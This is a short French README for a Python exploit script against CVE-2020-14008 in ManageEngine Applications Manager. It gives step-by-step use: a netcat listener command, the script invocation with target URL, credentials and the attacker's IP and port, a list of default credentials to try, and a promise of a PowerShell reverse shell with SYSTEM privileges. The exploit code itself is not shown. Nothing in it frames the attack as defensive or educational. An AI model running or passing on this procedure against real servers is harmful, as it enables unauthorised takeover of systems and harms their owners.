CVE-2020-14008 Exploitation ManageEngine

Qu'est-ce que c'est ?

Ce script exploite la CVE-2020-14008 dans ManageEngine Applications Manager pour obtenir un reverse shell avec les privilèges SYSTEM.

Prérequis

pip3 install requests urllib3

Comment l'utiliser

1. Lancez un listener

nc -nlvp 9001

2. Exécutez l'exploit

python3 cve-2020-14008-exploit.py <target_url> <username> <password> <your_ip> <your_port>

Exemples

# Direct attack
python3 cve-2020-14008-exploit.py https://192.168.1.100:8443 admin admin 192.168.1.50 9001

# Through port forwarding
python3 cve-2020-14008-exploit.py https://localhost:8443 admin admin 127.0.0.1 9001

Identifiants courants à essayer

• admin:admin
• administrator:administrator
• guest:guest

Ce que vous obtenez

• Reverse shell PowerShell
• Privilèges SYSTEM sur la cible
• Contrôle total du serveur ManageEngine